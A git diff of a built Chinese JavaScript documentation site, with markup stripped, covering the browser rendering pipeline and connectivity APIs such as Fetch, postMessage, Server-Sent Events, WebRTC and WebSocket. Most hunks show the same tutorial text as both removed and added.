                      • HTML / SVG / XHTML:渲染引擎通过三个 C++ 的类对应这三类文档,解析这三类文件并构建 DOM 树(DOM Tree)
                      • CSS:渲染引擎解析外部 CSS 文件及内联 style 标签内的样式数据,并构建 CSS 规则树( CSS Rule Tree)
                      • JavaScript:JavaScript 通过 DOM API 和 CSSOM API 来操作 DOM Tree 和 CSS Rule Tree
                    2. 构建渲染树(Rendering Tree)
                      • 解析完成后,浏览器引擎会通过 DOM 树和 CSS 规则树来构造 渲染树
                      • 渲染树并不等同于 DOM 树,因为一些像 <header>display: none 的东西就没必要放到渲染树中
                      • CSS 的 Rule Tree 主要是为了完成匹配并把 CSS Rule 附加至渲染树上的每个 Element 上。然后,计算每个渲染对象的位置,这通常是 布局(Layout) 和 重排(Reflow) 过程中发生
                      • 一旦渲染树构建完成,浏览器会把树里面的内容绘制在屏幕上。
                    3. 布局(Layout):渲染树构建好之后,将会执行布局过程,它将确定每个节点在屏幕上的确切坐标
                    4. 绘制(Paint):再下一步就是绘制,即遍历渲染树,并使用渲染引擎绘制每个节点
                    5. 渲染层合并(Composite):页面中 DOM 元素的绘制是在多个层上进行的,在每个层上完成绘制过程之后,浏览器会将所有层按照合理的顺序合并成一个图层,然后在屏幕上呈现
                    6. 最后通过调用操作系统 NativeGUI API 进行绘制

                    值得注意的是,这个过程是逐步完成的,为了更好的用户体验,渲染引擎将会尽可能早地将内容呈现到屏幕上,并不会等到所有 HTML 都解析完成之后再去构建和布局渲染树,它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。

                    Webkit 实现

                    Webkit主流程实现

                    Gecko 实现

                    Gecko主流程实现

                    • Gecko 将视觉格式化元素组成的树称为 框架树(Frame)。每个元素都是一个框架。Webkit 使用的术语是 渲染树(Render),它由 渲染对象 组成。
                    • 对于元素的放置,Webkit 使用的术语是 布局(Layout),而 Gecko 称之为 重排(Reflow)
                    • Webkit 称利用 DOM 节点及样式信息去构建渲染树的过程为 Attachment,Gecko 在 HTML 和 DOM 树之间附加了一层,这层称为内容接收器,相当制造 DOM 元素的工厂。

                    参考资料

                    - + diff --git a/browser-object-model/connectivity/beacon/index.html b/browser-object-model/connectivity/beacon/index.html index b9a9601f0..a3dfd4bac 100644 --- a/browser-object-model/connectivity/beacon/index.html +++ b/browser-object-model/connectivity/beacon/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Beacon API - JavaScript Guidebook -

                    Beacon API

                    Beacon 接口为 Web 服务器调度异步和非阻塞请求。

                    • Beacon 请求使用 HTTP 的 POST 方法,并且不需要有响应
                    • Beacon 请求能确保在页面触发 unload 之前,就已经初始化

                    WorkerNavigator.sendBeacon


                    参考资料:

                    +

                    Beacon API

                    Beacon 接口为 Web 服务器调度异步和非阻塞请求。

                    • Beacon 请求使用 HTTP 的 POST 方法,并且不需要有响应
                    • Beacon 请求能确保在页面触发 unload 之前,就已经初始化

                    WorkerNavigator.sendBeacon


                    参考资料:

                    - + diff --git a/browser-object-model/connectivity/event-source/index.html b/browser-object-model/connectivity/event-source/index.html index 3ae39b4c2..9d947667d 100644 --- a/browser-object-model/connectivity/event-source/index.html +++ b/browser-object-model/connectivity/event-source/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + EventSource - JavaScript Guidebook -

                    EventSource

                    EventSource 对象接口用于接收服务器发送的事件。它通过 HTTP 连接到服务器,已 text/event-stream 格式接收事件,不关闭连接。

                    EventSource 对象主要用于 Server-Sent Events(简称 SSE)的技术。这是一种能让浏览器通过 HTTP 连接自动收到服务器端更新的技术。

                    这个技术的作用是可以完成从服务器端到客户端(浏览器)单向的消息传递。因此我们可以用这个来做推送。不过需要注意的是,IE 并不支持这项技术。

                    W3C 关于 Server-Sent Events 部分的描述 W3C Server-Sent Events

                    构造函数

                    const eventSource = new EventSource();

                    属性

                    此接口从其父接口 EventTarget 继承属性。

                    属性说明
                    EventSource.onerror当发生错误时被调用,并且在此对象上派发 error 事件
                    EventSource.onmessage服务器端发送给客户端一条消息时触发
                    EventSource.onopenSSE 连接刚打开时触发
                    EventSource.readyState表示连接状态(CONNECTINGOPENCLOSED
                    EventSource.url代表源头的 URL

                    方法

                    方法说明
                    EventSource.close()如果存在,则关闭连接,
                    +

                    EventSource

                    EventSource 对象接口用于接收服务器发送的事件。它通过 HTTP 连接到服务器,已 text/event-stream 格式接收事件,不关闭连接。

                    EventSource 对象主要用于 Server-Sent Events(简称 SSE)的技术。这是一种能让浏览器通过 HTTP 连接自动收到服务器端更新的技术。

                    这个技术的作用是可以完成从服务器端到客户端(浏览器)单向的消息传递。因此我们可以用这个来做推送。不过需要注意的是,IE 并不支持这项技术。

                    W3C 关于 Server-Sent Events 部分的描述 W3C Server-Sent Events

                    构造函数

                    const eventSource = new EventSource();

                    属性

                    此接口从其父接口 EventTarget 继承属性。

                    属性说明
                    EventSource.onerror当发生错误时被调用,并且在此对象上派发 error 事件
                    EventSource.onmessage服务器端发送给客户端一条消息时触发
                    EventSource.onopenSSE 连接刚打开时触发
                    EventSource.readyState表示连接状态(CONNECTINGOPENCLOSED
                    EventSource.url代表源头的 URL

                    方法

                    方法说明
                    EventSource.close()如果存在,则关闭连接,
                    - + diff --git a/browser-object-model/connectivity/featch/index.html b/browser-object-model/connectivity/featch/index.html index 8e2cdffe1..38351def1 100644 --- a/browser-object-model/connectivity/featch/index.html +++ b/browser-object-model/connectivity/featch/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                    Fetch API

                    Fetch API 提供了一个获取资源的接口(包括跨域),在功能上与 XMLHttpRequest 有很多相似的地方,但被设计成更具可扩展性和高效性。

                    Fetch 的核心在于对 HTTP 接口的抽象,包括 Request、Response、Headers、Body,以及用于初始化异步请求的 global fetch。得益于 JavaScript 实现的这些抽象好的 HTTP 模块,其他接口能够很方便的使用这些功能。

                    PC 浏览器兼容性

                    ChromeOperaFirefoxIEEdgeSafari
                    422939No1410.1

                    Mobile 浏览器兼容性

                    iOS SafariOpera MobileOpera MiniAndroidAndroid ChromeAndroid Firefox
                    10.346No677063

                    语法

                    Promise fetch(input, init)

                    参数

                    • input: 定义要获取的资源,这可能是
                      • 一个 String 字符串,包含要获取资源的 URL
                      • 一个 Request 对象
                    • init:[可选]一个配置项对象,包括所有对请求的设置,可选参数有
                      • method:请求使用的方法,如 GET、POST、PUT、DELETE 等
                      • headers:请求的头信息,形式为 Headers 的对象或包含 ByteString 值的对象字面量
                      • body:请求的 body 信息:可能是一个 Blob、BufferSource、FormData
                      • URLSearchParams 或者 String 对象。注意 GET 或 HEAD 方法的请求不能包含 body 信息
                      • mode:请求的模式,如 cors、no-cors 或者 same-origin
                      • credentials:请求的 credentials,如 omit、same-origin 或者 include。为了当前域名内自动发送 cookie,必须提供这个选项,从 Chorme 50 实例,这个属性也可以受 FederateCrential 实例或是一个 PasswwordCredential 实例
                      • cache:请求的 cache 模型:default、no-store、reload、no-cache、force-cache 或者 only-if-cached
                      • redirect:可用的 redirect 模式:follow(自动重定向),error(如果产生重定向将自动终止并且抛出一个错误)
                      • referer:一个 USVSting 可以是 no-referrer、click 或一个 URL。默认 client。
                      • downgrade、orign、orgin-when-cross-origin、unsafe-url
                      • integrity:包括请求的 subresource integrity 值

                    Guard

                    Guard 事 Headers 对象的特征。

                    当使用 Headers() 构造函数创建一个新的 Headers 对象的时候,它的 Guard 被设置成 none(默认值)。

                    当创建 Request 和 Response 对象的时候,它将拥有一个按照以下规则实现的与之相关联的 Headers 对象。

                    Headers

                    Headers 类(请求头对象)能用于对 HTTP requestresponse 的检索、设置、添加和删除等各种操作。

                    每个 Headers 类包含一个 Headers 列表,它的初始值为空或者零个或多个键值对。

                    方法说明
                    append()添加一个 header 信息
                    delete()删除指定的 header
                    entries()返回 header 对象中的所有键值对,是一个 Iterator 对象
                    get()从 Headers 对象中返回指定的值
                    getAll()获取所有的 header
                    has()检测指定的 header 的键,返回布尔值
                    keys()获取所有 header 的键,是一个 Iterator 对象
                    set()修改或添加 header
                    values()获取所有 header 的值,是一个 Iterator 对象
                    let content = 'Hello world!';
                    let reqHeaders = new Headers();
                    -
                    reqHeaders.append('Content-Type', 'text/plain');
                    reqHeaders.append('Content-Length', content.length.toString());
                    reqHeaders.append('X-Custom-Header', 'ProcessThisImmediately');

                    也可以是个对象。

                    const reqHeaders = new Headers({
                    'Content-Type': 'text/plain',
                    'Content-Length': content.length.toString(),
                    'X-Custom-Header': 'ProcessThisImmediately',
                    });

                    Request

                    Request 对象是 FetchAPI 的资源请求对象。

                    Request(url, options);
                    参数说明类型
                    url请求 URLstring
                    options配置对象object

                    属性方法

                    属性说明
                    method请求方法
                    url请求地址
                    headers请求头(可是 Headers 对象,可以是对象)
                    context请求上下文
                    referrer指定请求源地址
                    mode请求模式(是跨域 cors 还是正常 no-cors)
                    credentials跨域请求时,是否携带 Cookie 信息(omit 跨域携带/sam-origin 同源携带)
                    redirect重定向
                    integrity一个散列值,用于检验请求资源的完整性
                    cache是否缓存这个资源
                    方法说明
                    clone()复制一个当前 Request 对象的实例

                    示例

                    const requst = new Request('data.json', {
                    method: 'POST',
                    headers: {},
                    body: new FormData(document.getElementById('login-form')),
                    cache: 'default',
                    });

                    Body

                    Fetch mixin 对象,提供了关联 response/request 中 body 的方法,可以定义它的文档类型以及请求如何被处理。

                    Request  和  Response  对象都实现了 Body 的接口,所以都拥有 Body 的方法和属性,用于指定请求体中的 body 或响应体的内容的数据类型(arrayBuffer/blob /json/text) 主要是做数据类型的转换。

                    属性说明
                    bodyUsed用于判断是否在响应体中是否设置过 body 读取类型
                    方法说明
                    arrayBuffer()将响应流转换为 Buffer 数组的 Promise 对象,并将 bodyUsed 状态改为已使用
                    blob()将响应流转换为大的二进制的 Promise 对象,并将 bodyUsed   状态改为已使用,一般用于文件读取(下载大文件或视频)
                    formData()将响应流转换为 formData 的 Promise 对象,并将 bodyUsed 状态改为已使用
                    json()将响应流转换为 json 的 Promise 对象,并将 bodyUsed 状态改为已使用
                    text()将响应流转换为文本字符串的 Promise 对象,并将 bodyUsed 状态改为已使用

                    Response

                    Request 对象是 FetchAPI 的资源响应对象。

                    属性(只读)说明
                    type响应的类型 basic/cors 等
                    url包含 Response 的 URL
                    useFinalURL包含了一个布尔值来标示这是否是该 Response 的最终 URL
                    status响应码
                    ok表示响应成功
                    statusText状态码信息
                    headers响应头的 Headers 对象
                    bodyUsed是否设置过响应内容的类型
                    方法说明
                    clone()创建一个 Response 对象的克隆
                    error()返回一个绑定了网络错误的新的 Response 对象
                    redirect()用另一个 URL 创建一个新的 Response

                    fetch()

                    fetch() 方法用于发起获取资源的请求,它返回一个 Promise 对象,这个 Promise 对象会在请求响应后将状态变更为 Resolved,并返回 Response 对象。

                    示例

                    fetch('api/data.json', {
                    method: 'POST', // 请求类型
                    headers: {}, // 请求头
                    body: {}, // 请求体
                    mode: '', // 请求模式
                    credentials: '', // Cookie的跨域策略
                    cache: '', // 请求的Cache模式
                    }).then(response => {...})

                    mode

                    • no-cors:允许来自 CDN 的脚本、其他域的图片和其他一些跨域资源,但是首先有个前提条件,就是请求的 method 只能是 HEAD、GET 或者 POST。此外,任何 ServiceWorkers 拦截了这些请求,它不能随意添加或者改写任何 header。其次,JavaScript 不能访问 Response 中的任何属性,这保证了 ServiceWorkers 不会导致任何跨域下的安全问题而隐私信息泄漏。
                    • cors:通常用作跨域请求来从第三方提供的 API 获取数据。这个模式遵守 CORS 协议。只有有限的一些 header 被暴露给 Response 对象,但是 body 是可读的。
                    • same-origin:如果一个请求是跨域的,那么返回一个简单的 error,这样确保所有的请求遵守同源策略。

                    cache

                    • default:缓存相同的请求
                    • no-store:不缓存任何请求
                    • reload:创建一个正常的请求,并用响应更新 HTTP 缓存
                    • no-cache:如果 HTTP 缓存中有响应,并且不是正常请求,则 Fetch 创建条件请求。然后,它使用响应更新 HTTP 缓存。
                    • force-cache:Fetch 使用 HTTP 缓存中与请求匹配的任何响应,不管是否过期。如果没有响应,则会创建正常请求,并使用响应更新 HTTP 缓存。
                    • only-if-cached:Fetch 使用 HTTP 缓存中与请求匹配的任何响应,不管是否过期。如果没有响应,则返回网络错误。 (只有当请求的模式为 same-origin 时,才能使用任何缓存重定向,假设请求的重定向模式为 follow,重定向不会违反请求的模式)。

                    如果 header 中包含名称为 If-Modified-SinceIf-None-MatchIf-Unmodified-SinceIf-MatchIf-Range 之一,如果是 default,Fetch 会将  cache  自动设置为  no-store


                    参考资料:

                    +
                    reqHeaders.append('Content-Type', 'text/plain');
                    reqHeaders.append('Content-Length', content.length.toString());
                    reqHeaders.append('X-Custom-Header', 'ProcessThisImmediately');

                    也可以是个对象。

                    const reqHeaders = new Headers({
                    'Content-Type': 'text/plain',
                    'Content-Length': content.length.toString(),
                    'X-Custom-Header': 'ProcessThisImmediately',
                    });

                    Request

                    Request 对象是 FetchAPI 的资源请求对象。

                    Request(url, options);
                    参数说明类型
                    url请求 URLstring
                    options配置对象object

                    属性方法

                    属性说明
                    method请求方法
                    url请求地址
                    headers请求头(可是 Headers 对象,可以是对象)
                    context请求上下文
                    referrer指定请求源地址
                    mode请求模式(是跨域 cors 还是正常 no-cors)
                    credentials跨域请求时,是否携带 Cookie 信息(omit 跨域携带/sam-origin 同源携带)
                    redirect重定向
                    integrity一个散列值,用于检验请求资源的完整性
                    cache是否缓存这个资源
                    方法说明
                    clone()复制一个当前 Request 对象的实例

                    示例

                    const requst = new Request('data.json', {
                    method: 'POST',
                    headers: {},
                    body: new FormData(document.getElementById('login-form')),
                    cache: 'default',
                    });

                    Body

                    Fetch mixin 对象,提供了关联 response/request 中 body 的方法,可以定义它的文档类型以及请求如何被处理。

                    Request  和  Response  对象都实现了 Body 的接口,所以都拥有 Body 的方法和属性,用于指定请求体中的 body 或响应体的内容的数据类型(arrayBuffer/blob /json/text) 主要是做数据类型的转换。

                    属性说明
                    bodyUsed用于判断是否在响应体中是否设置过 body 读取类型
                    方法说明
                    arrayBuffer()将响应流转换为 Buffer 数组的 Promise 对象,并将 bodyUsed 状态改为已使用
                    blob()将响应流转换为大的二进制的 Promise 对象,并将 bodyUsed   状态改为已使用,一般用于文件读取(下载大文件或视频)
                    formData()将响应流转换为 formData 的 Promise 对象,并将 bodyUsed 状态改为已使用
                    json()将响应流转换为 json 的 Promise 对象,并将 bodyUsed 状态改为已使用
                    text()将响应流转换为文本字符串的 Promise 对象,并将 bodyUsed 状态改为已使用

                    Response

                    Request 对象是 FetchAPI 的资源响应对象。

                    属性(只读)说明
                    type响应的类型 basic/cors 等
                    url包含 Response 的 URL
                    useFinalURL包含了一个布尔值来标示这是否是该 Response 的最终 URL
                    status响应码
                    ok表示响应成功
                    statusText状态码信息
                    headers响应头的 Headers 对象
                    bodyUsed是否设置过响应内容的类型
                    方法说明
                    clone()创建一个 Response 对象的克隆
                    error()返回一个绑定了网络错误的新的 Response 对象
                    redirect()用另一个 URL 创建一个新的 Response

                    fetch()

                    fetch() 方法用于发起获取资源的请求,它返回一个 Promise 对象,这个 Promise 对象会在请求响应后将状态变更为 Resolved,并返回 Response 对象。

                    示例

                    fetch('api/data.json', {
                    method: 'POST', // 请求类型
                    headers: {}, // 请求头
                    body: {}, // 请求体
                    mode: '', // 请求模式
                    credentials: '', // Cookie的跨域策略
                    cache: '', // 请求的Cache模式
                    }).then(response => {...})

                    mode

                    cache

                    如果 header 中包含名称为 If-Modified-SinceIf-None-MatchIf-Unmodified-SinceIf-MatchIf-Range 之一,如果是 default,Fetch 会将  cache  自动设置为  no-store


                    参考资料:

                    - + diff --git a/browser-object-model/connectivity/index.html b/browser-object-model/connectivity/index.html index ccef3337f..4809c0ab3 100644 --- a/browser-object-model/connectivity/index.html +++ b/browser-object-model/connectivity/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/connectivity/post-message/index.html b/browser-object-model/connectivity/post-message/index.html index c119de87c..b5b83b17c 100644 --- a/browser-object-model/connectivity/post-message/index.html +++ b/browser-object-model/connectivity/post-message/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                    PostMessage

                    window.postMessage() 方法可以安全地实现跨域的页面通信。

                    通常情况下,对于两个不同页面的脚步,只有当执行它们的页面位于具有相同的协议(通常是 HTTPS),端口号(443 HTTPS 的默认值),以及主机(两个页面的模数 document.domain 设置为相同的值)时,这两个脚本才能互相通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。

                    语法

                    targetWindow.postMessage(message, targetOrigin [, transfer])
                    参数说明
                    targetWindow通信目标窗口的引用,例如 iframecontentWindow 属性、执行 window.open 返回的窗口对象、或者是命名过或数值索引的 window.frames
                    message发送到通信目标窗口的数据。它将会被结构化克隆算法序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。
                    targetOrigin通过窗口的 origin 属性来指定哪些窗口能接收到消息事件,其值可以是字符串或 URI。在发送消息的时候,如果目标窗口的协议主机地址端口这三者的任意一项不匹配 targetOrigin 提供的值,那么消息就不会被发送。只有三者完全匹配,消息才会被发送。
                    transfer(可选)与通讯数据同时传递的 Transferable 对象,这些对象的所有权将被转移给消息的接收方,而发送方将不再保留所有权。

                    基本用法

                    发送方

                    window.postMessage() 调用时,会在所有页面脚本执行完毕后,向目标窗口派发 MessageEvent 消息。

                    MessageEvent

                    属性说明
                    message发送消息的类型
                    data从其他窗口发送过来的消息对象
                    origin发送方窗口的源
                    source发送方的窗口对象
                    const message = 'Hello world!';
                    const target = '*';
                    const transfer = [];
                    window.postMessage('hello', target, transfer);

                    源窗口可以是全局 Window 对象,也可以是以下类型的窗口:

                    • 文档窗口中的 iframe

                      const iframe = document.getElementById('my-iframe');
                      const win = iframe.documentWindow;
                    • JavaScript 打开的弹窗

                      const win = window.open();
                    • 当前文档窗口的父窗口

                      const win = window.parent;
                    • 打开当前文档的窗口

                      const win = window.opener();

                    监听方

                    一般用于收取发送的消息,message 的属性有。

                    属性说明
                    data从源窗口传递过来的对象
                    origin调用 postMessage 时消息发送方窗口的 origin
                    source对发送消息的窗口对象的引用
                    window.addEventListener('message', receiveMessage, false);
                    -
                    function receiveMessage(event) {
                    // For Chrome, the origin property is in the event.originalEvent
                    // object
                    const origin = event.origin || event.originalEvent.origin;
                    if (origin !== 'http://example.org:8080') {
                    return;
                    }
                    }

                    安全性

                    如果您不希望从其他网站接收 message,请不要为 message 事件添加任何事件侦听器。这是一个完全万无一失的方式来避免安全问题。

                    如果您确实希望从其他网站接收 message,请始终使用 originsource 属性验证发件人的身份。任何窗口都可以向任何其他窗口发送消息,并且您不能保证未知发件人不会发送恶意消息。但是,验证身份后,您仍然应该始终验证接收到的消息的语法。否则,您信任之发送受信任邮件的网站中的安全漏洞可能会在您的网站中打开跨网站脚本漏洞。

                    当您使用 postMessage 将数据发送到其他窗口时,始终指定精确的目标 origin,而不是 *。恶意网站可以在您不知情的情况下更改窗口的位置,因此它可以拦截使用 postMessage 发送的数据。


                    参考资料:

                    +
                    function receiveMessage(event) {
                    // For Chrome, the origin property is in the event.originalEvent
                    // object
                    const origin = event.origin || event.originalEvent.origin;
                    if (origin !== 'http://example.org:8080') {
                    return;
                    }
                    }

                    安全性

                    如果您不希望从其他网站接收 message,请不要为 message 事件添加任何事件侦听器。这是一个完全万无一失的方式来避免安全问题。

                    如果您确实希望从其他网站接收 message,请始终使用 originsource 属性验证发件人的身份。任何窗口都可以向任何其他窗口发送消息,并且您不能保证未知发件人不会发送恶意消息。但是,验证身份后,您仍然应该始终验证接收到的消息的语法。否则,您信任之发送受信任邮件的网站中的安全漏洞可能会在您的网站中打开跨网站脚本漏洞。

                    当您使用 postMessage 将数据发送到其他窗口时,始终指定精确的目标 origin,而不是 *。恶意网站可以在您不知情的情况下更改窗口的位置,因此它可以拦截使用 postMessage 发送的数据。


                    参考资料:

                    - + diff --git a/browser-object-model/connectivity/progress-event/index.html b/browser-object-model/connectivity/progress-event/index.html index 26493a5ee..b9456cba9 100644 --- a/browser-object-model/connectivity/progress-event/index.html +++ b/browser-object-model/connectivity/progress-event/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                    Progress Event

                    这个 ProgressEvent 接口用来测量底层操作一个 HTTP 请求的进度。

                    构造函数

                    const progressEvent = new ProgressEvent();

                    属性

                    同时继承它的父元素 Event 的属性。

                    属性说明
                    ProgressEvent.lengthComputable(只读)它是一个布尔值标识,表明总共需要完成的工作量和已经完成的工作是否可以被底层所计算到。换而言之,它表示的就是过程是否是可以测量的。
                    ProgressEvent.loaded(只读)是一个 unsigned long long 类型,表示底层进程已经执行到的工作量。所做的工作比率可以用属性和 ProgressEvent.total 计算。当使用 HTTP 下载资源,这只表示内容本身的一部分,而不是头和其他开销。
                    ProgressEvent.total(只读)是 unsigned long long 类型,表示底层进程正在执行的工作总量。当使用 HTTP 下载资源时,这只表示内容本身,而不是头和其他开销。

                    示例

                    下面的例子向一个新的 XMLHTTPRequest 请求添加了一个 ProgressEvent,并且用它来显示这个请求的状态。

                    const progressBar = document.getElementById('p');
                    const client = new XMLHttpRequest();
                    -
                    client.open('GET', 'magical-unicorns');
                    client.onprogress = function(pe) {
                    if (pe.lengthComputable) {
                    progressBar.max = pe.total;
                    progressBar.value = pe.loaded;
                    }
                    };
                    client.onloadend = function(pe) {
                    progressBar.value = pe.loaded;
                    };
                    client.send();
                    +
                    client.open('GET', 'magical-unicorns');
                    client.onprogress = function(pe) {
                    if (pe.lengthComputable) {
                    progressBar.max = pe.total;
                    progressBar.value = pe.loaded;
                    }
                    };
                    client.onloadend = function(pe) {
                    progressBar.value = pe.loaded;
                    };
                    client.send();
                    - + diff --git a/browser-object-model/connectivity/server-sent-events/index.html b/browser-object-model/connectivity/server-sent-events/index.html index a9c4ce433..a57d9ed33 100644 --- a/browser-object-model/connectivity/server-sent-events/index.html +++ b/browser-object-model/connectivity/server-sent-events/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                    event: bar\n
                    data: a bar event\n\n

                    上面的代码创造了三条信息。第一条的名字是 foo,触发浏览器的 foo 事件;第二条未取名,表示默认类型,触发浏览器的 message 事件;第三条是 bar,触发浏览器的 bar 事件。

                    下面是另一个例子。

                    event: userconnect
                    data: {"username": "bobby", "time": "02:33:48"}
                    event: usermessage
                    data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
                    event: userdisconnect
                    data: {"username": "bobby", "time": "02:34:23"}
                    -
                    event: usermessage
                    data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}

                    retry 字段

                    服务器可以用 retry 字段,指定浏览器重新发起连接的时间间隔。

                    retry: 10000\n

                    两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。


                    参考资料:

                    +
                    event: usermessage
                    data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}

                    retry 字段

                    服务器可以用 retry 字段,指定浏览器重新发起连接的时间间隔。

                    retry: 10000\n

                    两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。


                    参考资料:

                    - + diff --git a/browser-object-model/connectivity/web-real-time-communication/index.html b/browser-object-model/connectivity/web-real-time-communication/index.html index 013c1d540..0841f5a90 100644 --- a/browser-object-model/connectivity/web-real-time-communication/index.html +++ b/browser-object-model/connectivity/web-real-time-communication/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + WebRTC - JavaScript Guidebook -

                    WebRTC

                    WebRTC(Web Real-Time Communications)是一项实时通讯技术,它允许网络应用或者站点,在不借助中间媒介的情况下,简历浏览器之间点对点(Peer-to-Peer)的连接,实现视频流和(或)音频流或者其他任意数据的传输。WebRTC 包含的这些标准使用户在无需安装任何插件或者第三方的软件的情况下,创建点对点(Peer-to-Peer)的数据分享和电话会议成为可能。

                    引言

                    • 通信双方需要先通过服务器交换一些信息
                    • 完成信息交换后,通信双方将直接进行连接以传输数据
                    Webpack执行流程

                    WebRTC 的组成

                    WebRTC 由三大块组成:

                    • getUserMedia:负责获取用户本地的多媒体数据,如调起摄像头录像等
                    • RTC PeerConnection:负责建立 P2P 连接以及传输多媒体数据
                    • RTC DataChannel:提供一个信令通道,在游戏里面信令是实现互动的重要元素

                    文件共享

                    目前,数据通道支持如下类型:

                    • String:JavaScript 基本的字符串
                    • Blob(Binary large object):二进制大对象
                    • ArrayBuffer:确定数组长度的数据类型
                    • ArrayBufferView:基础的数组视图

                    其中,Blob 类型是一个可以存储二进制文件的容器,结合 HTML5 相关文件读取 API,可以实现文件共享的功能。

                    WebRTC 作为一种复杂的图形通信传输技术,此处只作简略介绍,更深入的研究请移步其他文章。


                    参考资料:

                    文献推荐:

                    • 《WebRTC 权威指南》
                    • 《Learning WebRTC 中文版》
                    +

                    WebRTC

                    WebRTC(Web Real-Time Communications)是一项实时通讯技术,它允许网络应用或者站点,在不借助中间媒介的情况下,简历浏览器之间点对点(Peer-to-Peer)的连接,实现视频流和(或)音频流或者其他任意数据的传输。WebRTC 包含的这些标准使用户在无需安装任何插件或者第三方的软件的情况下,创建点对点(Peer-to-Peer)的数据分享和电话会议成为可能。

                    引言

                    • 通信双方需要先通过服务器交换一些信息
                    • 完成信息交换后,通信双方将直接进行连接以传输数据
                    Webpack执行流程

                    WebRTC 的组成

                    WebRTC 由三大块组成:

                    • getUserMedia:负责获取用户本地的多媒体数据,如调起摄像头录像等
                    • RTC PeerConnection:负责建立 P2P 连接以及传输多媒体数据
                    • RTC DataChannel:提供一个信令通道,在游戏里面信令是实现互动的重要元素

                    文件共享

                    目前,数据通道支持如下类型:

                    • String:JavaScript 基本的字符串
                    • Blob(Binary large object):二进制大对象
                    • ArrayBuffer:确定数组长度的数据类型
                    • ArrayBufferView:基础的数组视图

                    其中,Blob 类型是一个可以存储二进制文件的容器,结合 HTML5 相关文件读取 API,可以实现文件共享的功能。

                    WebRTC 作为一种复杂的图形通信传输技术,此处只作简略介绍,更深入的研究请移步其他文章。


                    参考资料:

                    文献推荐:

                    • 《WebRTC 权威指南》
                    • 《Learning WebRTC 中文版》
                    - + diff --git a/browser-object-model/connectivity/web-socket/index.html b/browser-object-model/connectivity/web-socket/index.html index 716c4e418..c24f5b675 100644 --- a/browser-object-model/connectivity/web-socket/index.html +++ b/browser-object-model/connectivity/web-socket/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                    // 连接关闭时调用
                    ws.addEvenetListener(
                    'close',
                    err => {
                    console.log('WebSocketClosed!');
                    },
                    false
                    );
                    // 连接错误时调用(并且会关闭连接)
                    ws.addEventListener(
                    'error',
                    err => {
                    console.log('WebSocketError!');
                    },
                    false
                    );
                    ws.binaryType = 'blob';
                    ws.onmessage = function(e) {
                    if (e.data instanceof Blob) {
                    console.log('Blob', e.data);
                    const b = new Blob(e.data);
                    }
                    };
                    ws.binaryType = 'arraybuffer';
                    -
                    ws.onmessage = function(e) {
                    if (e.data instanceof ArrayBuffer) {
                    console.log('ArrayBuffer', e.data);
                    const a = new Uint8Array(e.data);
                    }
                    };

                    WebSocket 协议

                    WebSocket 协议有两部分:握手、数据传输。

                    握手请求

                    WebSocket 协议是为了浏览器实现与服务器的全双工通信和 HTTP 协议在浏览器端的广泛应用,因此 WebSocket 的握手是 HTTP 请求的升级。

                    建立 WebSocket 连接的请求头:

                    GET /chat HTTP/1.1
                    Host: server.example.com
                    Upgrade: websocket
                    Connection: Upgrade
                    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
                    Sec-WebSocket-Protocol: chat, superchat
                    Sec-WebSocket-Version: 13
                    Origin: http://example.com
                    头字段说明
                    Host(必填)WebSocket 服务器主机名
                    Upgrade(必填)值必须为 websocket
                    Connection(必填)值必须为 Upgrade
                    Sec-WebSocket-Key(必填)Base64 encode 编码的随机 16 字节长的字符序列
                    Sec-WebSocket-Protocol(选填)可用选项有子协议选择器
                    Sec-WebSocket-Version(必填)WebSocket Draft(协议版本)
                    Origin(浏览器必填)头域( RFC6454) 用于保护 WebSocket 服务器不被未授权的运行在浏览器的脚本跨源使用 WebSocket API

                    WebSocket 客户端将上述请求发送到服务器。如果是调用浏览器的 WebSocket API,浏览器会自动完成完成上述请求头。

                    相关类库

                    兼容性

                    语法部分错误

                    IEEdgeFirefoxChromeSafariOpera
                    111863701256
                    // 兼容代码
                    const ws = window.WebSocket
                    ? new window.WebSocket(url, protocol)
                    : new window.MozWebSocket(url, protocol);

                    参考资料:

                    +
                    ws.onmessage = function(e) {
                    if (e.data instanceof ArrayBuffer) {
                    console.log('ArrayBuffer', e.data);
                    const a = new Uint8Array(e.data);
                    }
                    };

                    WebSocket 协议

                    WebSocket 协议有两部分:握手、数据传输。

                    握手请求

                    WebSocket 协议是为了浏览器实现与服务器的全双工通信和 HTTP 协议在浏览器端的广泛应用,因此 WebSocket 的握手是 HTTP 请求的升级。

                    建立 WebSocket 连接的请求头:

                    GET /chat HTTP/1.1
                    Host: server.example.com
                    Upgrade: websocket
                    Connection: Upgrade
